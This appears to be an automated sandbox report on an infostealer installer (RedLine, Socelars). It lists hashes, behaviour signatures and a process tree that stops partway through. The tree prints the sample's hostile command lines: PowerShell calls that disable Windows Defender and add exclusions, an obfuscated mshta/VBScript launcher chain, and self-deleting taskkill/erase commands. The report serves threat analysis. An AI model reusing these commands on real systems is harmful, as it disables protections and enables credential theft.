Resubmissions

02-11-2021 06:54

211102-hpn1zsbhc2 10

02-11-2021 06:42

211102-hgpmjsgggp 10

01-11-2021 21:47

211101-1ncknsfgfm 10

Analysis

  • max time kernel
    3898s
  • max time network
    17846s
  • platform
    windows7_x64
  • resource
    win7-de-20211014
  • submitted
    02-11-2021 06:54

General

  • Target

    setup_x86_x64_install.exe

  • Size

    4.2MB

  • MD5

    b5b5fe52ed9ca7d47bfb857498fd684c

  • SHA1

    9c17089a630141c9b4e13ef46ab334d46709fdb8

  • SHA256

    6cbb4380d880c6bab221c81122b32e225ebf224942191fb08df5df82f971864b

  • SHA512

    482de7cacf73eb37050e323312b05d3d5d2152048efa5defa4b3d8687f6b3355233d8bf3f04d6107a7214f4b21e4f81f83313ecaf3bdcda98c7d95d60a41e79a

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 29 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 13 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    PID:864
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {E72518FE-4E9A-418C-9D0D-F0906186F79A} S-1-5-18:NT AUTHORITY\System:Service:
      2⤵
        PID:364
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {761A30F6-7EF7-4722-981F-360BF32F9C8A} S-1-5-18:NT AUTHORITY\System:Service:
        2⤵
          PID:1676
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {B8273751-1AAB-4F3D-B0CE-8B2EAF9C3462} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
          2⤵
            PID:1072
            • C:\Program Files\Mozilla Firefox\default-browser-agent.exe
              "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
              3⤵
                PID:2900
              • C:\Users\Admin\AppData\Roaming\egregah
                C:\Users\Admin\AppData\Roaming\egregah
                3⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:2692
              • C:\Users\Admin\AppData\Roaming\egregah
                C:\Users\Admin\AppData\Roaming\egregah
                3⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:2616
              • C:\Users\Admin\AppData\Roaming\egregah
                C:\Users\Admin\AppData\Roaming\egregah
                3⤵
                  PID:2520
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {45BD90F4-216C-4678-8ACC-5EC9D3F4D3D6} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                2⤵
                  PID:2660
                  • C:\Users\Admin\AppData\Roaming\egregah
                    C:\Users\Admin\AppData\Roaming\egregah
                    3⤵
                    • Executes dropped EXE
                    PID:1916
                  • C:\Users\Admin\AppData\Roaming\egregah
                    C:\Users\Admin\AppData\Roaming\egregah
                    3⤵
                      PID:2060
                    • C:\Users\Admin\AppData\Roaming\egregah
                      C:\Users\Admin\AppData\Roaming\egregah
                      3⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:2520
                  • C:\Windows\system32\taskeng.exe
                    taskeng.exe {E72C8706-F77D-43BA-AD6B-94A183948C6A} S-1-5-18:NT AUTHORITY\System:Service:
                    2⤵
                      PID:1784
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {F9A86B87-1309-4AB6-82D3-446A3E5F0A50} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                      2⤵
                        PID:2716
                        • C:\Users\Admin\AppData\Roaming\egregah
                          C:\Users\Admin\AppData\Roaming\egregah
                          3⤵
                            PID:2876
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {C5F394B5-5922-4025-83E0-DBF0A7C2A6F7} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                          2⤵
                            PID:108
                            • C:\Users\Admin\AppData\Roaming\egregah
                              C:\Users\Admin\AppData\Roaming\egregah
                              3⤵
                                PID:2532
                            • C:\Windows\system32\taskeng.exe
                              taskeng.exe {7FA43457-946D-4446-B9B9-5B056F7DD34A} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                              2⤵
                                PID:2840
                                • C:\Users\Admin\AppData\Roaming\egregah
                                  C:\Users\Admin\AppData\Roaming\egregah
                                  3⤵
                                    PID:796
                                • C:\Windows\system32\taskeng.exe
                                  taskeng.exe {9FD0D055-F1CE-4B81-A25C-AAAE1F615E95} S-1-5-18:NT AUTHORITY\System:Service:
                                  2⤵
                                    PID:2872
                                  • C:\Windows\system32\taskeng.exe
                                    taskeng.exe {26B12E68-34BD-4C05-9503-A702C0EE5653} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                    2⤵
                                      PID:876
                                      • C:\Users\Admin\AppData\Roaming\egregah
                                        C:\Users\Admin\AppData\Roaming\egregah
                                        3⤵
                                          PID:980
                                        • C:\Users\Admin\AppData\Roaming\egregah
                                          C:\Users\Admin\AppData\Roaming\egregah
                                          3⤵
                                            PID:2704
                                        • C:\Windows\system32\taskeng.exe
                                          taskeng.exe {A10144B2-9BAA-4309-84B9-C01D55E1447D} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                          2⤵
                                            PID:2588
                                            • C:\Users\Admin\AppData\Roaming\egregah
                                              C:\Users\Admin\AppData\Roaming\egregah
                                              3⤵
                                                PID:1788
                                            • C:\Windows\system32\taskeng.exe
                                              taskeng.exe {9FBB9DEE-C39E-438C-9C61-5A9E9F08D8E2} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                              2⤵
                                                PID:1716
                                                • C:\Users\Admin\AppData\Roaming\egregah
                                                  C:\Users\Admin\AppData\Roaming\egregah
                                                  3⤵
                                                    PID:528
                                                • C:\Windows\system32\taskeng.exe
                                                  taskeng.exe {4498E237-6702-4DDD-9C19-4A13F376B2D7} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                  2⤵
                                                    PID:736
                                                    • C:\Users\Admin\AppData\Roaming\egregah
                                                      C:\Users\Admin\AppData\Roaming\egregah
                                                      3⤵
                                                        PID:1544
                                                    • C:\Windows\system32\taskeng.exe
                                                      taskeng.exe {2177E9E2-CBAE-42FF-983F-2C89438E5696} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                      2⤵
                                                        PID:2200
                                                        • C:\Users\Admin\AppData\Roaming\egregah
                                                          C:\Users\Admin\AppData\Roaming\egregah
                                                          3⤵
                                                            PID:2140
                                                        • C:\Windows\system32\taskeng.exe
                                                          taskeng.exe {CE4C436C-CC18-4C9C-A1C3-B33EC3DB847B} S-1-5-18:NT AUTHORITY\System:Service:
                                                          2⤵
                                                            PID:876
                                                          • C:\Windows\system32\taskeng.exe
                                                            taskeng.exe {CE229CBF-8069-4534-ACF7-1D8F0006F651} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                            2⤵
                                                              PID:2780
                                                              • C:\Users\Admin\AppData\Roaming\egregah
                                                                C:\Users\Admin\AppData\Roaming\egregah
                                                                3⤵
                                                                  PID:1612
                                                                • C:\Users\Admin\AppData\Roaming\egregah
                                                                  C:\Users\Admin\AppData\Roaming\egregah
                                                                  3⤵
                                                                    PID:2272
                                                                • C:\Windows\system32\taskeng.exe
                                                                  taskeng.exe {526A12C7-0A19-4EB3-B205-3E0E45F9039F} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                  2⤵
                                                                    PID:1872
                                                                    • C:\Users\Admin\AppData\Roaming\egregah
                                                                      C:\Users\Admin\AppData\Roaming\egregah
                                                                      3⤵
                                                                        PID:912
                                                                    • C:\Windows\system32\taskeng.exe
                                                                      taskeng.exe {260D9BF0-17A5-4168-92A3-F48C72363C1C} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                      2⤵
                                                                        PID:656
                                                                        • C:\Users\Admin\AppData\Roaming\egregah
                                                                          C:\Users\Admin\AppData\Roaming\egregah
                                                                          3⤵
                                                                            PID:1668
                                                                        • C:\Windows\system32\taskeng.exe
                                                                          taskeng.exe {7DE0E623-2603-470F-B7D3-0727CFEDD4F6} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                          2⤵
                                                                            PID:2556
                                                                            • C:\Users\Admin\AppData\Roaming\egregah
                                                                              C:\Users\Admin\AppData\Roaming\egregah
                                                                              3⤵
                                                                                PID:2988
                                                                            • C:\Windows\system32\taskeng.exe
                                                                              taskeng.exe {4135C67D-98E1-4D43-900E-BEE13BD4EE92} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                              2⤵
                                                                                PID:2976
                                                                                • C:\Users\Admin\AppData\Roaming\egregah
                                                                                  C:\Users\Admin\AppData\Roaming\egregah
                                                                                  3⤵
                                                                                    PID:964
                                                                                • C:\Windows\system32\taskeng.exe
                                                                                  taskeng.exe {3576A90A-9942-47BB-B91C-168F7A59B023} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                  2⤵
                                                                                    PID:2900
                                                                                  • C:\Windows\system32\taskeng.exe
                                                                                    taskeng.exe {076E3ECD-E8AE-4733-BF07-84C347270CF8} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                                    2⤵
                                                                                      PID:1244
                                                                                      • C:\Users\Admin\AppData\Roaming\egregah
                                                                                        C:\Users\Admin\AppData\Roaming\egregah
                                                                                        3⤵
                                                                                          PID:2840
                                                                                        • C:\Users\Admin\AppData\Roaming\egregah
                                                                                          C:\Users\Admin\AppData\Roaming\egregah
                                                                                          3⤵
                                                                                            PID:2796
                                                                                        • C:\Windows\system32\taskeng.exe
                                                                                          taskeng.exe {AC09453D-0249-4888-8244-F7B3B5C5B33E} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                                          2⤵
                                                                                            PID:2192
                                                                                            • C:\Users\Admin\AppData\Roaming\egregah
                                                                                              C:\Users\Admin\AppData\Roaming\egregah
                                                                                              3⤵
                                                                                                PID:960
                                                                                            • C:\Windows\system32\taskeng.exe
                                                                                              taskeng.exe {0349368A-4856-4F64-9DA9-A8A0DEF714D4} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                                              2⤵
                                                                                                PID:2312
                                                                                                • C:\Users\Admin\AppData\Roaming\egregah
                                                                                                  C:\Users\Admin\AppData\Roaming\egregah
                                                                                                  3⤵
                                                                                                    PID:2288
                                                                                                • C:\Windows\system32\taskeng.exe
                                                                                                  taskeng.exe {9D6117BA-0ABE-48AD-BFA8-49A3FFB37929} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                                                  2⤵
                                                                                                    PID:1100
                                                                                                    • C:\Users\Admin\AppData\Roaming\egregah
                                                                                                      C:\Users\Admin\AppData\Roaming\egregah
                                                                                                      3⤵
                                                                                                        PID:2428
                                                                                                    • C:\Windows\system32\taskeng.exe
                                                                                                      taskeng.exe {4641A9BB-603A-4E46-82FB-626FFD93E3E2} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
                                                                                                      2⤵
                                                                                                        PID:2688
                                                                                                        • C:\Users\Admin\AppData\Roaming\egregah
                                                                                                          C:\Users\Admin\AppData\Roaming\egregah
                                                                                                          3⤵
                                                                                                            PID:2684
                                                                                                      • C:\Windows\system32\services.exe
                                                                                                        C:\Windows\system32\services.exe
                                                                                                        1⤵
                                                                                                          PID:468
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                            2⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            • Checks processor information in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Modifies registry class
                                                                                                            PID:2724
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
                                                                                                          1⤵
                                                                                                          • Loads dropped DLL
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:268
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Loads dropped DLL
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:368
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\setup_install.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\setup_install.exe"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:1996
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                                                                                                4⤵
                                                                                                                  PID:836
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                                                                                                    5⤵
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:1788
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                                                                                                  4⤵
                                                                                                                    PID:1744
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                                                                                                      5⤵
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:316
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c Mon17870faab0.exe
                                                                                                                    4⤵
                                                                                                                    • Loads dropped DLL
                                                                                                                    PID:1820
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17870faab0.exe
                                                                                                                      Mon17870faab0.exe
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Loads dropped DLL
                                                                                                                      • Modifies system certificate store
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:2036
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                        6⤵
                                                                                                                          PID:2768
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /f /im chrome.exe
                                                                                                                            7⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:2564
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c Mon178e7a516181.exe
                                                                                                                      4⤵
                                                                                                                      • Loads dropped DLL
                                                                                                                      PID:1420
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon178e7a516181.exe
                                                                                                                        Mon178e7a516181.exe
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Checks computer location settings
                                                                                                                        PID:644
                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\gAY0fTFQZbTwAt91E0nNHj_t.exe
                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\gAY0fTFQZbTwAt91E0nNHj_t.exe"
                                                                                                                          6⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:2940
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 720
                                                                                                                          6⤵
                                                                                                                          • Program crash
                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                          PID:2984
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c Mon173a360b525.exe
                                                                                                                      4⤵
                                                                                                                      • Loads dropped DLL
                                                                                                                      PID:1872
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon173a360b525.exe
                                                                                                                        Mon173a360b525.exe
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:1828
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\6887475710.exe"
                                                                                                                          6⤵
                                                                                                                            PID:2796
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\6887475710.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\6887475710.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:2892
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4778260895.exe"
                                                                                                                            6⤵
                                                                                                                              PID:464
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4778260895.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\4778260895.exe"
                                                                                                                                7⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:2224
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon173a360b525.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon173a360b525.exe" & exit
                                                                                                                              6⤵
                                                                                                                                PID:2816
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /im "Mon173a360b525.exe" /f
                                                                                                                                  7⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:2012
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c Mon17332e41e6b.exe
                                                                                                                            4⤵
                                                                                                                              PID:1880
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c Mon1708beae021a5ff.exe
                                                                                                                              4⤵
                                                                                                                                PID:932
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c Mon178d8e5d06822.exe
                                                                                                                                4⤵
                                                                                                                                • Loads dropped DLL
                                                                                                                                PID:1644
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon178d8e5d06822.exe
                                                                                                                                  Mon178d8e5d06822.exe
                                                                                                                                  5⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Modifies system certificate store
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:1756
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                    6⤵
                                                                                                                                      PID:2548
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon17a0d8ec302e.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:2028
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17a0d8ec302e.exe
                                                                                                                                    Mon17a0d8ec302e.exe
                                                                                                                                    5⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                    PID:1404
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon174a6c5f1664f.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:756
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon1727c156c4abcec.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:740
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon17afe24e0084db3.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:1160
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon179f74c0ff3cf1f.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:1088
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon17bbf11fdb575d.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:332
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon17bffc2992eb3d.exe /mixone
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:1240
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon175e6c8b40064b8c8.exe
                                                                                                                                  4⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:1276
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bbf11fdb575d.exe
                                                                                                                            Mon17bbf11fdb575d.exe
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:1588
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-KS406.tmp\Mon17bbf11fdb575d.tmp
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-KS406.tmp\Mon17bbf11fdb575d.tmp" /SL5="$10164,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bbf11fdb575d.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              PID:1876
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bbf11fdb575d.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bbf11fdb575d.exe" /SILENT
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                PID:2120
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-0EFS2.tmp\Mon17bbf11fdb575d.tmp
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-0EFS2.tmp\Mon17bbf11fdb575d.tmp" /SL5="$20184,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bbf11fdb575d.exe" /SILENT
                                                                                                                                  4⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                  PID:2168
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-GJM0C.tmp\postback.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-GJM0C.tmp\postback.exe" ss1
                                                                                                                                    5⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:2828
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon175e6c8b40064b8c8.exe
                                                                                                                            Mon175e6c8b40064b8c8.exe
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:908
                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                              "C:\Windows\System32\mshta.exe" vBscRipT: ClOSe ( crEatEobJECt ( "wSCRIPT.SHEll" ). rUn ( "CMd.eXE /R tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon175e6c8b40064b8c8.exe"" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon175e6c8b40064b8c8.exe"" ) do taskkill -Im ""%~NxU"" -f " , 0 , tRUE ))
                                                                                                                              2⤵
                                                                                                                                PID:2084
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /R tYpE "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon175e6c8b40064b8c8.exe" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if "" == "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon175e6c8b40064b8c8.exe" ) do taskkill -Im "%~NxU" -f
                                                                                                                                  3⤵
                                                                                                                                    PID:2348
                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                      taskkill -Im "Mon175e6c8b40064b8c8.exe" -f
                                                                                                                                      4⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:2460
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe
                                                                                                                                      6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt
                                                                                                                                      4⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:2444
                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                        "C:\Windows\System32\mshta.exe" vBscRipT: ClOSe ( crEatEobJECt ( "wSCRIPT.SHEll" ). rUn ( "CMd.eXE /R tYpE ""C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe"" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if ""/p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe"" ) do taskkill -Im ""%~NxU"" -f " , 0 , tRUE ))
                                                                                                                                        5⤵
                                                                                                                                          PID:2516
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
